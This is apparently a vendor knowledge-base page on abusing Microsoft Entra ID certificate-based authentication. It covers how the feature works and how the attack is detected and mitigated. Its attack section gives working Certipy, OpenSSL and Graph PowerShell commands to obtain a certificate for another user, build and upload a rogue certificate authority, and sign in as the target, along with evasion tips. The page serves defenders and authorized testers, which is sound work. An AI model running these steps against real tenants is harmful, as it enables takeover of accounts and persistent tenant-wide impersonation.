1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

Entra ID Certificate-Based Authentication Abuse

Also known as: Entra CBA abuse, Pass-the-certificate in Entra ID, Rogue certificate authority, Certificate user binding abuse

An attacker signs in to Microsoft Entra ID as another user with a stolen or fraudulently issued certificate, or adds their own certificate authority or binding to the tenant so certificates they issue are accepted.

Platform
Microsoft Entra ID
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
A user's certificate and private key, or the ability to get one issued by a trusted CA; for the tenant variants Privileged Authentication Administrator or Global Administrator.
What the attacker gains
Sign-in as any user in scope of certificate-based authentication, with MFA satisfied where the binding rules grant it, independent of passwords and registered methods.
Threat groups
APT29NIMBUS MANTICOREAPT28APT33APT38APT5FIN13HAFNIUMKe3changLAPSUS$Salt TyphoonScattered SpiderShinyHuntersStorm-0501and 2 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1649, T1556, T1078.004.

How it works

Microsoft Entra certificate-based authentication (CBA) lets a user sign in with an X.509 certificate. The tenant decides three things:

  • Which issuers to trust. Certificate authorities (CAs) are uploaded to a trust store. The newer PKI-based store is managed by Privileged Authentication Administrators; the classic store by Global Administrators. Microsoft states the consequence directly: certificates issued by a CA in the configuration can authenticate any user in the tenant.
  • How a certificate maps to a user. Username bindings map a certificate field to a user attribute. The default maps the Principal Name in the certificate's subject alternative name to userPrincipalName. Other bindings map fields such as the subject key identifier or the issuer and serial number to values stored in the user's certificateUserIds.
  • How strong the sign-in counts. Authentication binding rules decide whether a certificate from a given issuer or policy counts as single-factor or multifactor.

A certificate is public. Proof requires the private key. "Pass-the-certificate" against Entra therefore means unauthorized use of a key inside one of these trust relationships, and there are four ways to get there:

  • Stolen certificate and key. The attacker exports a user's certificate with its private key from a workstation, a backup or a PFX file, and signs in with it.
  • Fraudulently issued certificate. The attacker gets a trusted CA to issue a certificate that names the victim. When the tenant trusts the organization's AD CS CA and uses the default Principal Name binding, a template that lets the requester supply the subject alternative name (ESC1) yields a certificate for any UPN, including a cloud administrator's.
  • Rogue CA in the trust store. An attacker with the right role uploads a CA whose key they hold, then issues certificates for any user in scope.
  • Changed binding. The attacker loosens the username binding to a field they can control, or writes a value into a target user's certificateUserIds that matches a certificate they hold.

Three kinds of certificate exist in a tenant and they prove different things. A user certificate proves a user to Entra through CBA. An application certificate credential lets a service principal sign a client assertion; see application credential abuse. A device registration certificate identifies a device. A successful application or device authentication says nothing about user CBA.

Prerequisites

  • Certificate-based authentication enabled for the target user in the authentication methods policy, or Authentication Policy Administrator rights to enable it.
  • One of:
    • the user's certificate with its private key;
    • the ability to obtain a certificate that maps to the user from a CA the tenant trusts;
    • Privileged Authentication Administrator or Global Administrator to add a CA (Global Administrator for the classic store), or an application with a Graph permission that can write the trust store;
    • rights to change the CBA binding rules or the target user's certificateUserIds.
  • A binding rule under which the attacker's certificate maps to the target account.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Read the tenant's CBA configuration

The method configuration shows whether CBA is on, for whom, and the username and authentication bindings:

Connect-MgGraph -Scopes 'Policy.Read.All', 'Organization.Read.All'

Get-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration -AuthenticationMethodConfigurationId 'X509Certificate' |
    ConvertTo-Json -Depth 6

# CAs in the classic trust store
$org = Get-MgOrganization
(Get-MgOrganizationCertificateBasedAuthConfiguration -OrganizationId $org.Id).CertificateAuthorities |
    Select-Object Issuer, IssuerSki, IsRootAuthority

The issuer names tell the attacker which CA to target. If one of them is the organization's AD CS CA, the on-premises certificate attacks apply to the cloud.

2. Variant: certificate from a trusted AD CS CA

Certipy requests a certificate for a chosen UPN from a template that allows the requester to supply it:

certipy req -u alice@corp.example.com -p 'PASSWORD' -ca CORP-CA -target SRV01.corp.example.com \
    -template VulnerableTemplate -upn cloudadmin@corp.example.com

The resulting PFX holds a certificate whose Principal Name is the target user, issued by a CA the tenant trusts.

3. Variant: add a rogue CA

Create a CA and a user certificate with OpenSSL. The subject alternative name carries the UPN in the form Windows and Entra read:

# Root CA
openssl req -x509 -newkey rsa:4096 -sha256 -days 730 -nodes \
    -keyout ca.key -out ca.crt -subj "/CN=Corp Issuing CA 2"

# User key and request
openssl req -newkey rsa:2048 -nodes -keyout user.key -out user.csr -subj "/CN=cloudadmin"

# Sign it with client authentication usage and the target UPN in the SAN
printf 'extendedKeyUsage=clientAuth\nsubjectAltName=otherName:1.3.6.1.4.1.311.20.2.3;UTF8:cloudadmin@corp.example.com\n' > ext.cnf
openssl x509 -req -in user.csr -CA ca.crt -CAkey ca.key -CAcreateserial \
    -out user.crt -days 365 -sha256 -extfile ext.cnf

# Bundle for import into a browser or the Windows user store
openssl pkcs12 -export -inkey user.key -in user.crt -out user.pfx

# DER copy of the CA certificate for the upload
openssl x509 -in ca.crt -outform der -out ca.crt.der

Upload the CA certificate to the PKI-based trust store:

Connect-MgGraph -Scopes 'PublicKeyInfrastructure.ReadWrite.All'

$pki = New-MgDirectoryPublicKeyInfrastructureCertificateBasedAuthConfiguration -BodyParameter @{ displayName = 'Corp PKI 2' }

$ca = @{
    certificateAuthorityType = 'root'
    displayName              = 'Corp Issuing CA 2'
    certificate              = [System.IO.File]::ReadAllBytes('ca.crt.der')
}
New-MgDirectoryPublicKeyInfrastructureCertificateBasedAuthConfigurationCertificateAuthority `
    -CertificateBasedAuthPkiId $pki.Id -BodyParameter $ca

If CBA is not enabled for the target, the attacker also needs to enable the X.509 certificate method for a group that contains the account, which is a change to the authentication methods policy.

4. Sign in with the certificate

Import the PFX into the user certificate store or the browser. At https://login.microsoftonline.com, enter the target's user name and choose "Use a certificate or smart card". The browser presents the certificate, Entra validates the chain against the trust store, applies the username binding and signs the attacker in as the target. If the authentication binding rule for that issuer says multifactor, the session satisfies MFA requirements.

5. Variant: stolen user certificate

With a user's exported PFX and its password, step 4 is the whole attack. No tenant configuration changes and no certificate is issued.

Impact

The attacker signs in as the mapped user without the password and without the user's MFA methods. Where the binding rules treat the certificate as multifactor, Conditional Access MFA requirements are met.

The tenant variants are worse than one stolen credential. A rogue CA lets the attacker mint a certificate for any user in scope of CBA, at any time, and the trust survives password resets and MFA re-registration of every affected account. If the tenant trusts an on-premises CA, compromise of that CA, or of one over-permissive template, becomes compromise of cloud accounts, including cloud-only administrators if they are in scope.

OPSEC and artifacts

  • Use an existing CA if possible. A certificate from a CA the tenant already trusts needs no directory change. The issuance is recorded on the CA (for AD CS, the certificate request and issuance events and the CA database), and the sign-in shows certificate authentication for a user who may never have used it.
  • Name the rogue CA like the real ones. A similar subject name survives a glance at the trust store. The subject key identifier and thumbprint differ from every CA the PKI team operates.
  • Trust store changes are logged. Additions to the PKI-based store appear as Create CertificateAuthorityEntity and related activities. Researchers report that the classic store appears as Set Company Information with the modified property TrustedCAsForPasswordlessAuth.
  • Policy changes are logged. Enabling the method or changing bindings writes an authentication methods policy update. Writing certificateUserIds on a user is a user update.
  • No revocation list. A CA uploaded without a CRL distribution point is not checked for revocation, so the attacker's certificates cannot be revoked by the defender. The missing CRL URL on the CA entry is itself visible.
  • Sign-in trail. The sign-in log records the authentication method as an X.509 certificate with the result of each step, and the address the attacker used. It does not identify the person holding the key.
  • Stolen key. Export of a private key from a user store leaves endpoint traces only. In Entra the sign-in is indistinguishable from the user's own, apart from its source.

Detection

// Changes to the CBA trust stores and the authentication methods policy
AuditLogs
| where OperationName in~ ("Create CertificateAuthorityEntity", "Update CertificateAuthorityEntity",
                           "Restore CertificateAuthorityEntity", "Add CertificateBasedAuthConfiguration",
                           "Update CertificateBasedAuthConfiguration", "Authentication Methods Policy Update")
    or (OperationName =~ "Set Company Information" and tostring(TargetResources) has "TrustedCAsForPasswordlessAuth")
| project TimeGenerated, OperationName, Result, InitiatedBy, TargetResources
| order by TimeGenerated desc
// Sign-ins that used a certificate, by user and address
SigninLogs
| where TimeGenerated >= ago(30d) and ResultType == "0"
| mv-expand Step = todynamic(AuthenticationDetails)
| where tostring(Step.authenticationMethod) has "Certificate"
| summarize SignIns = count(), First = min(TimeGenerated), Addresses = make_set(IPAddress, 10)
    by UserPrincipalName
| order by First desc

Confirm the method text your tenant records before narrowing the second query. A successful certificate sign-in proves that someone used the private key; who operated it is a separate question for endpoint and key custody evidence.

Mitigation

  • If you do not use CBA, keep it off. Leave the X.509 certificate method disabled and both trust stores empty, and alert on any CA being added.
  • Guard the roles. Keep Privileged Authentication Administrator, Authentication Policy Administrator and Global Administrator on a small number of cloud-only, PIM-managed accounts.
  • Use high-affinity bindings. Map on a field that identifies one certificate, such as the subject key identifier or issuer and serial number stored in certificateUserIds, instead of the Principal Name. A certificate issued for someone else's UPN then maps to nobody.
  • Scope the method. Enable CBA only for the groups that hold certificates, and keep cloud-only administrators out of scope unless they need it.
  • Configure revocation. Give every trusted CA a CRL distribution point so certificates can be revoked, and review the trusted CAs against the PKI inventory.
  • Harden the issuing CA. If the tenant trusts AD CS, the template and CA misconfigurations become cloud risks: fix templates that let requesters supply subject names and limit enrollment rights. See ESC1 and, for the on-premises use of certificates, Pass-the-Cert.
  • Protect private keys. Issue user certificates to smart cards or hardware-backed stores and mark keys non-exportable.
  • When responding, remove the rogue CA or binding, restore the method's target groups and rules, revoke the sessions of every account that signed in with a certificate since the change, and investigate the identity that made it.

Detection rules for this attack

Log events to collect

FAQ

What is certificate-based authentication in Microsoft Entra ID?

A sign-in method where the user presents an X.509 certificate instead of a password. Entra validates the certificate chain against the certificate authorities the tenant trusts, then maps a field of the certificate to a user through the tenant's username binding rules. Depending on the authentication binding rules, the sign-in counts as single-factor or multifactor.

How is this different from Pass-the-Cert in Active Directory?

The on-premises technique presents a certificate to a domain controller, over Schannel to LDAP or through PKINIT. This page is about presenting a certificate to Microsoft Entra ID. The two meet when the tenant trusts the on-premises certificate authority: a certificate obtained through an AD CS misconfiguration can then sign in to the cloud as well.

Can a certificate in an inventory or audit log be used to sign in?

No. A certificate is public material. Signing in requires the matching private key. That is why the attack needs either theft of the key, issuance of a new certificate for a key the attacker holds, or a change to the tenant's trust so a certificate from the attacker's own authority is accepted.

Does a rogue certificate authority survive password resets?

Yes. The trust is tenant configuration. Certificates issued by that authority keep working for every user in scope after passwords are reset and MFA methods are re-registered, until the authority is removed from the trust store and the sessions it produced are revoked.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.